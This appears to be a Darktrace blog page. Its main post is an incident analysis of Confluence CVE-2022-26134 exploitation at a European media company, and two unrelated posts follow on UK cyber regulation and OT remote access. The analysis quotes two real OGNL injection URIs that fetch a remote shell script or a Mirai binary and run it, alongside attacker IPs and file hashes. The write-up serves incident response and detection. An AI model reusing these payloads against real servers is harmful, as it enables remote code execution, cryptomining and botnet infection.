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June 12, 2022

Confluence CVE-2022-26134 Zero-Day: Detection & Guidance

Stay informed with Darktrace's blog on detection and guidance for the Confluence CVE-2022-26134 zero-day vulnerability. Learn how to protect your systems.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Gabriel Few-Wiegratz
Product Marketing Manager, Exposure Management and Incident Readiness
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12
Jun 2022

Summary

  • CVE-2022-26134 is an unauthenticated OGNL injection vulnerability which allows threat actors to execute arbitrary code on Atlassian Confluence Server or Data Centre products (not Cloud).
  • Atlassian has released several patches and a temporary mitigation in their security advisory. This has been consistently updated since the emergence of the vulnerability.
  • Darktrace detected and responded to an instance of exploitation in the first weekend of widespread exploits of this CVE.

Introduction

Looking forwards to 2022, the security industry expressed widespread concerns around third-party exposure and integration vulnerabilities.[1] Having already seen a handful of in-the-wild exploits against Okta (CVE-2022-22965) and Microsoft (CVE-2022-30190), the start of June has now seen another critical remote code execution (RCE) vulnerability affecting Atlassian’s Confluence range. Confluence is a popular wiki management and knowledge-sharing platform used by enterprises worldwide. This latest vulnerability (CVE-2022-26134) affects all versions of Confluence Server and Data Centre.[2] This blog will explore the vulnerability itself, an instance which Darktrace detected and responded to, and additional guidance for both the public at large and existing Darktrace customers.

Exploitation of this CVE occurs through an injection vulnerability which enables threat actors to execute arbitrary code without authentication. Injection-type attacks work by sending data to web applications in order to cause unintended results. In this instance, this involves injecting OGNL (Object-Graph Navigation Language) expressions to Confluence server memory. This is done by placing the expression in the URI of a HTTP request to the server. Threat actors can then plant a webshell which they can interact with and deploy further malicious code, without having to re-exploit the server. It is worth noting that several proofs-of-concept of this exploit have also been seen online.[3] As a widely known and critical severity exploit, it is being indiscriminately used by a range of threat actors.[4]

Atlassian advises that sites hosted on Confluence Cloud (run via AWS) are not vulnerable to this exploit and it is restricted to organizations running their own Confluence servers.[2]

Case study: European media organization

The first detected in-the-wild exploit for this zero-day was reported to Atlassian as an out-of-hours attack over the US Memorial Day weekend.[5] Darktrace analysts identified a similar instance of this exploit only a couple of days later within the network of a European media provider. This was part of a wider series of compromises affecting the account, likely involving multiple threat actors. The timing was also in line with the start of more widespread public exploitation attempts against other organizations.[6]

On the evening of June 3, Darktrace’s Enterprise Immune System identified a new text/x-shellscript download for the curl/7.61.1 user agent on a company’s Confluence server. This originated from a rare external IP address, 194.38.20[.]166. It is possible that the initial compromise came moments earlier from 95.182.120[.]164 (a suspicious Russian IP) however this could not be verified as the connection was encrypted. The download was shortly followed by file execution and outbound HTTP involving the curl agent. A further download for an executable from 185.234.247[.]8 was attempted but this was blocked by Antigena Network’s Autonomous Response. Despite this, the Confluence server then began serving sessions using the Minergate protocol on a non-standard port. In addition to mining, this was accompanied by failed beaconing connections to another rare Russian IP, 45.156.23[.]210, which had not yet been flagged as malicious on VirusTotal OSINT (Figures 1 and 2).[7][8]

Figures 1 and 2: Unrated VirusTotal pages for Russian IPs connected to during minergate activity and failed beaconing — Darktrace identification of these IP’s involvement in the Confluence exploit occurred prior to any malicious ratings being added to the OSINT profiles

Minergate is an open crypto-mining pool allowing users to add computer hashing power to a larger network of mining devices in order to gain digital currencies. Interestingly, this is not the first time Confluence has had a critical vulnerability exploited for financial gain. September 2021 saw CVE-2021-26084, another RCE vulnerability which was also taken advantage of in order to install crypto-miners on unsuspecting devices.[9]

During attempted beaconing activity, Darktrace also highlighted the download of two cf.sh files using the initial curl agent. Further malicious files were then downloaded by the device. Enrichment from VirusTotal (Figure 3) alongside the URIs, identified these as Kinsing shell scripts.[10][11] Kinsing is a malware strain from 2020, which was predominantly used to install another crypto-miner named ‘kdevtmpfsi’. Antigena triggered a Suspicious File Block to mitigate the use of this miner. However, following these downloads, additional Minergate connection attempts continued to be observed. This may indicate the successful execution of one or more scripts.

Figure 3: VirusTotal confirming evidence of Kinsing shell download

More concrete evidence of CVE-2022-26134 exploitation was detected in the afternoon of June 4. The Confluence Server received a HTTP GET request with the following URI and redirect location:

/${new javax.script.ScriptEngineManager().getEngineByName(“nashorn”).eval(“new java.lang.ProcessBuilder().command(‘bash’,’-c’,’(curl -s 195.2.79.26/cf.sh||wget -q -O- 195.2.79.26/cf.sh)|bash’).start()”)}/

This is a likely demonstration of the OGNL injection attack (Figures 3 and 4). The ‘nashorn’ string refers to the Nashorn Engine which is used to interpret javascript code and has been identified within active payloads used during the exploit of this CVE. If successful, a threat actor could be provided with a reverse shell for ease of continued connections (usually) with fewer restrictions to port usage.[12] Following the injection, the server showed more signs of compromise such as continued crypto-mining and SSL beaconing attempts.

Figures 4 and 5: Darktrace Advanced Search features highlighting initial OGNL injection and exploit time

Following the injection, a separate exploitation was identified. A new user agent and URI indicative of the Mirai botnet attempted to utilise the same Confluence vulnerability to establish even more crypto-mining (Figure 6). Mirai itself may have also been deployed as a backdoor and a means to attain persistency.

Figure 6: Model breach snapshot highlighting new user agent and Mirai URI

/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(“wget 149.57.170.179/mirai.x86;chmod 777 mirai.x86;./mirai.x86 Confluence.x86”).getInputStream(),”utf-8”)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(“X-Cmd-Response”,#a))}/

Throughout this incident, Darktrace’s Proactive Threat Notification service alerted the customer to both the Minergate and suspicious Kinsing downloads. This ensured dedicated SOC analysts were able to triage the events in real time and provide additional enrichment for the customer’s own internal investigations and eventual remediation. With zero-days often posing as a race between threat actors and defenders, this incident makes it clear that Darktrace detection can keep up with both known and novel compromises.

A full list of model detections and indicators of compromise uncovered during this incident can be found in the appendix.

Darktrace coverage and guidance

From the Kinsing shell scripts to the Nashorn exploitation, this incident showcased a range of malicious payloads and exploit methods. Although signature solutions may have picked up the older indicators, Darktrace model detections were able to provide visibility of the new. Models breached covering kill chain stages including exploit, execution, command and control and actions-on-objectives (Figure 7). With the Enterprise Immune System providing comprehensive visibility across the incident, the threat could be clearly investigated or recorded by the customer to warn against similar incidents in the future. Several behaviors, including the mass crypto-mining, were also grouped together and presented by AI Analyst to support the investigation process.

Figure 7: Device graph showing a cluster of model breaches on the Confluence Server around the exploit event

On top of detection, the customer also had Antigena in active mode, ensuring several malicious activities were actioned in real time. Examples of Autonomous Response included:

  • Antigena / Network / External Threat / Antigena Suspicious Activity Block
  • Block connections to 176.113.81[.]186 port 80, 45.156.23[.]210 port 80 and 91.241.19[.]134 port 80 for one hour
  • Antigena / Network / External Threat / Antigena Suspicious File Block
  • Block connections to 194.38.20[.]166 port 80 for two hours
  • Antigena / Network / External Threat / Antigena Crypto Currency Mining Block
  • Block connections to 176.113.81[.]186 port 80 for 24 hours

Darktrace customers can also maximise the value of this response by taking the following steps:

  • Ensure Antigena Network is deployed.
  • Regularly review Antigena breaches and set Antigena to ‘Active’ rather than ‘Human Confirmation’ mode (otherwise customers’ security teams will need to manually trigger responses).
  • Tag Confluence Servers with Antigena External Threat, Antigena Significant Anomaly or Antigena All tags.
  • Ensure Antigena has appropriate firewall integrations.

For each of these steps, more information can be found in the product guides on our Customer Portal

Wider recommendations for CVE-2022-26134

On top of Darktrace product guidance, there are several encouraged actions from the vendor:

  • Atlassian recommends updates to the following versions where this vulnerability has been fixed: 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 and 7.18.1.
  • For those unable to update, temporary mitigations can be found in the formal security advisory.
  • Ensure Internet-facing servers are up-to-date and have secure compliance practices.

Appendix

Darktrace model detections (for the discussed incident)

  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous File / EXE from Rare External Location
  • Anomalous File / Script from Rare External
  • Anomalous Server Activity / Possible Denial of Service Activity
  • Anomalous Server Activity / Rare External from Server
  • Compromise / Crypto Currency Mining Activity
  • Compromise / High Volume of Connections with Beacon Score
  • Compromise / Large Number of Suspicious Failed Connections
  • Compromise / SSL Beaconing to Rare Destination
  • Device / New User Agent

IoCs

Thanks to Hyeongyung Yeom and the Threat Research Team for their contributions.

Footnotes

1. https://www.gartner.com/en/articles/7-top-trends-in-cybersecurity-for-2022

2. https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

3. https://twitter.com/phithon_xg/status/1532887542722269184?cxt=HHwWgMCoiafG9MUqAAAA

4. https://twitter.com/stevenadair/status/1532768372911398916

5. https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence

6. https://www.cybersecuritydive.com/news/attackers-atlassian-confluence-zero-day-exploit/625032

7. https://www.virustotal.com/gui/ip-address/45.156.23.210

8. https://www.virustotal.com/gui/ip-address/176.113.81.186

9. https://securityboulevard.com/2021/09/attackers-exploit-cve-2021-26084-for-xmrig-crypto-mining-on-affected-confluence-servers

10. https://www.virustotal.com/gui/file/c38c21120d8c17688f9aeb2af5bdafb6b75e1d2673b025b720e50232f888808a

11. https://www.virustotal.com/gui/file/5d2530b809fd069f97b30a5938d471dd2145341b5793a70656aad6045445cf6d

12. https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Gabriel Few-Wiegratz
Product Marketing Manager, Exposure Management and Incident Readiness

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November 25, 2025

UK Cyber Security & Resilience Bill: What Organizations Need to Know

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Why the Bill has been introduced

The UK’s cyber threat landscape has evolved dramatically since the 2018 NIS regime was introduced. Incidents such as the Synnovis attack against hospitals and the British Library ransomware attack show how quickly operational risk can become public harm. In this context, the UK Department for Science, Innovation and Technology estimates that cyber-attacks cost UK businesses around £14.7 billion each year.

At the same time, the widespread adoption of AI has expanded organisations’ attack surfaces and empowered threat actors to launch more effective and sophisticated activities, including crafting convincing phishing campaigns, exploiting vulnerabilities and initiating ransomware attacks at unprecedented speed and scale.  

The CSRB responds to these challenges by widening who is regulated, accelerating incident reporting and tightening supply chain accountability, while enabling rapid updates that keep pace with technology and emerging risks.

Key provisions of the Cyber Security and Resilience Bill

A wider set of organisations in scope

The Bill significantly broadens the range of organisations regulated under the NIS framework.

  • Managed service providers (MSPs) - medium and large MSPs, including MSSPs, managed SOCs, SIEM providers and similar services,will now fall under NIS obligations due to their systemic importance and privileged access to client systems. The Information Commissioner’s Office (ICO) will act as the regulator. Government analysis anticipates that a further 900 to 1,100 MSPs will be in scope.
  • Data infrastructure is now recognised as essential to the functioning of the economy and public services. Medium and large data centres, as well as enterprise facilities meeting specified thresholds, will be required to implement appropriate and proportionate measures to manage cyber risk. Oversight will be shared between DSIT and Ofcom, with Ofcom serving as the operational regulator.
  • Organisations that manage electrical loads for smart appliances, such as those supporting EV charging during peak times, are now within scope.

These additions sit alongside existing NIS-regulated sectors such as transport, energy, water, health, digital infrastructure, and certain digital services (including online marketplaces, search engines, and cloud computing).

Stronger supply chain requirements

Under the CSRB, regulators can now designate third-party suppliers as ‘designated critical suppliers’ (DCS) when certain threshold criteria are met and where disruption could have significant knock-on effects. Designated suppliers will be subject to the same security and incident-reporting obligations as Operators of Essential Services (OES) and Relevant Digital Service Providers (RDSPs).

Government will scope the supply chain duties for OES and RDSPs via secondary legislation, following consultation. infrastructure incidents where a single supplier’s compromise caused widespread disruption.

Faster incident reporting

Sector-specific regulators, 12 in total, will be responsible for implementing the CSRB, allowing for more effective and consistent reporting. In addition, the CSRB introduces a two-stage reporting process and expands incident reporting criteria. Regulated entities must submit an initial notification within 24 hours of becoming aware of a significant incident, followed by an incident report within 72 hours. Incident reporting criteria are also broadened to capture incidents beyond those which actually resulted in an interruption, ensuring earlier visibility for regulators and the National Cyber Security Centre (NCSC). The importance of information sharing across agencies, law enforcement and regulators is also facilitated by the CSRB.

The reforms also require data centres and managed service providers to notify affected customers where they are likely to have been impacted by a cyber incident.

An agile regulatory framework

To keep pace with technological change, the CSRB will enable the Secretary of State to update elements of the framework via secondary legislation. Supporting materials such as the NCSC Cyber Assessment Framework (CAF) are to be "put on a stronger footing” allowing for requirements to be more easily followed, managed and updated. Regulators will also now be able to recover full costs associated with NIS duties meaning they are better resourced to carry out their associated responsibilities.

Relevant Managed Service Providers must identify and take appropriate and proportionate measures to manage risks to the systems they rely on for providing services within the UK. Importantly, these measures must, having regard to the state of the art, ensure a level of security appropriate to the risk posed, and prevent or minimise the impact of incidents.

The Secretary of State will also be empowered to issue a Statement of Strategic Priorities, setting cross-regime outcomes to drive consistency across the 12 competent authorities responsible for implementation.

Penalties

The enforcement framework will be strengthened, with maximum fines aligned with comparable regimes such as the GDPR, which incorporate maximums tied to turnover. Under the CSRB, maximum penalties for more serious breaches could be up to £17 million or 4% of global turnover, whichever is higher.

Next steps

The Bill is expected to progress through Parliament over the course of 2025 and early 2026, with Royal Assent anticipated in 2026. Once enacted, most operational measures will not take immediate effect. Instead, Government will bring key components into force through secondary legislation following further consultation, providing regulators and industry with time to adjust practices and prepare for compliance.

Anticipated timeline

  • 2025-2026: Parliamentary scrutiny and passage;
  • 2026: Royal Assent;  
  • 2026 consultation: DSIT intends to consult on detailed implementation;
  • From 2026 onwards: Phased implementation via secondary legislation, following further consultation led by DSIT.

How Darktrace can help

The CSRB represents a step change in how the UK approaches digital risk, shifting the focus from compliance to resilience.

Darktrace can help organisations operationalise this shift by using AI to detect, investigate and respond to emerging threats at machine speed, before they escalate into incidents requiring regulatory notification. Proactive tools which can be included in the Darktrace platform allow security teams to stress-test defences, map supply chain exposure and rehearse recovery scenarios, directly supporting the CSRB’s focus on resilience, transparency and rapid response. If an incident does occur, Darktrace’s autonomous agent, Cyber AI Analyst, can accelerate investigations and provide a view of every stage of the attack chain, supporting timely reporting.  

Darktrace’s AI can provide organisations with a vital lens into both internal and external cyber risk. By continuously learning patterns of behaviour across interconnected systems, Darktrace can flag potential compromise or disruption to detect supply chain risk before it impacts your organisation.

In a landscape where compliance and resilience go hand in hand, Darktrace can equip organisations to stay ahead of both evolving threats and evolving regulatory requirements.

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November 20, 2025

Managing OT Remote Access with Zero Trust Control & AI Driven Detection

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The shift toward IT-OT convergence

Recently, industrial environments have become more connected and dependent on external collaboration. As a result, truly air-gapped OT systems have become less of a reality, especially when working with OEM-managed assets, legacy equipment requiring remote diagnostics, or third-party integrators who routinely connect in.

This convergence, whether it’s driven by digital transformation mandates or operational efficiency goals, are making OT environments more connected, more automated, and more intertwined with IT systems. While this convergence opens new possibilities, it also exposes the environment to risks that traditional OT architectures were never designed to withstand.

The modernization gap and why visibility alone isn’t enough

The push toward modernization has introduced new technology into industrial environments, creating convergence between IT and OT environments, and resulting in a lack of visibility. However, regaining that visibility is just a starting point. Visibility only tells you what is connected, not how access should be governed. And this is where the divide between IT and OT becomes unavoidable.

Security strategies that work well in IT often fall short in OT, where even small missteps can lead to environmental risk, safety incidents, or costly disruptions. Add in mounting regulatory pressure to enforce secure access, enforce segmentation, and demonstrate accountability, and it becomes clear: visibility alone is no longer sufficient. What industrial environments need now is precision. They need control. And they need to implement both without interrupting operations. All this requires identity-based access controls, real-time session oversight, and continuous behavioral detection.

The risk of unmonitored remote access

This risk becomes most evident during critical moments, such as when an OEM needs urgent access to troubleshoot a malfunctioning asset.

Under that time pressure, access is often provisioned quickly with minimal verification, bypassing established processes. Once inside, there’s little to no real-time oversight of user actions whether they’re executing commands, changing configurations, or moving laterally across the network. These actions typically go unlogged or unnoticed until something breaks. At that point, teams are stuck piecing together fragmented logs or post-incident forensics, with no clear line of accountability.  

In environments where uptime is critical and safety is non-negotiable, this level of uncertainty simply isn’t sustainable.

The visibility gap: Who’s doing what, and when?

The fundamental issue we encounter is the disconnect between who has access and what they are doing with it.  

Traditional access management tools may validate credentials and restrict entry points, but they rarely provide real-time visibility into in-session activity. Even fewer can distinguish between expected vendor behavior and subtle signs of compromise, misuse or misconfiguration.  

As a result, OT and security teams are often left blind to the most critical part of the puzzle, intent and behavior.

Closing the gaps with zero trust controls and AI‑driven detection

Managing remote access in OT is no longer just about granting a connection, it’s about enforcing strict access parameters while continuously monitoring for abnormal behavior. This requires a two-pronged approach: precision access control, and intelligent, real-time detection.

Zero Trust access controls provide the foundation. By enforcing identity-based, just-in-time permissions, OT environments can ensure that vendors and remote users only access the systems they’re explicitly authorized to interact with, and only for the time they need. These controls should be granular enough to limit access down to specific devices, commands, or functions. By applying these principles consistently across the Purdue Model, organizations can eliminate reliance on catch-all VPN tunnels, jump servers, and brittle firewall exceptions that expose the environment to excess risk.

Access control is only one part of the equation

Darktrace / OT complements zero trust controls with continuous, AI-driven behavioral detection. Rather than relying on static rules or pre-defined signatures, Darktrace uses Self-Learning AI to build a live, evolving understanding of what’s “normal” in the environment, across every device, protocol, and user. This enables real-time detection of subtle misconfigurations, credential misuse, or lateral movement as they happen, not after the fact.

By correlating user identity and session activity with behavioral analytics, Darktrace gives organizations the full picture: who accessed which system, what actions they performed, how those actions compared to historical norms, and whether any deviations occurred. It eliminates guesswork around remote access sessions and replaces it with clear, contextual insight.

Importantly, Darktrace distinguishes between operational noise and true cyber-relevant anomalies. Unlike other tools that lump everything, from CVE alerts to routine activity, into a single stream, Darktrace separates legitimate remote access behavior from potential misuse or abuse. This means organizations can both audit access from a compliance standpoint and be confident that if a session is ever exploited, the misuse will be surfaced as a high-fidelity, cyber-relevant alert. This approach serves as a compensating control, ensuring that even if access is overextended or misused, the behavior is still visible and actionable.

If a session deviates from learned baselines, such as an unusual command sequence, new lateral movement path, or activity outside of scheduled hours, Darktrace can flag it immediately. These insights can be used to trigger manual investigation or automated enforcement actions, such as access revocation or session isolation, depending on policy.

This layered approach enables real-time decision-making, supports uninterrupted operations, and delivers complete accountability for all remote activity, without slowing down critical work or disrupting industrial workflows.

Where Zero Trust Access Meets AI‑Driven Oversight:

  • Granular Access Enforcement: Role-based, just-in-time access that aligns with Zero Trust principles and meets compliance expectations.
  • Context-Enriched Threat Detection: Self-Learning AI detects anomalous OT behavior in real time and ties threats to access events and user activity.
  • Automated Session Oversight: Behavioral anomalies can trigger alerting or automated controls, reducing time-to-contain while preserving uptime.
  • Full Visibility Across Purdue Layers: Correlated data connects remote access events with device-level behavior, spanning IT and OT layers.
  • Scalable, Passive Monitoring: Passive behavioral learning enables coverage across legacy systems and air-gapped environments, no signatures, agents, or intrusive scans required.

Complete security without compromise

We no longer have to choose between operational agility and security control, or between visibility and simplicity. A Zero Trust approach, reinforced by real-time AI detection, enables secure remote access that is both permission-aware and behavior-aware, tailored to the realities of industrial operations and scalable across diverse environments.

Because when it comes to protecting critical infrastructure, access without detection is a risk and detection without access control is incomplete.

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About the author
Pallavi Singh
Product Marketing Manager, OT Security & Compliance
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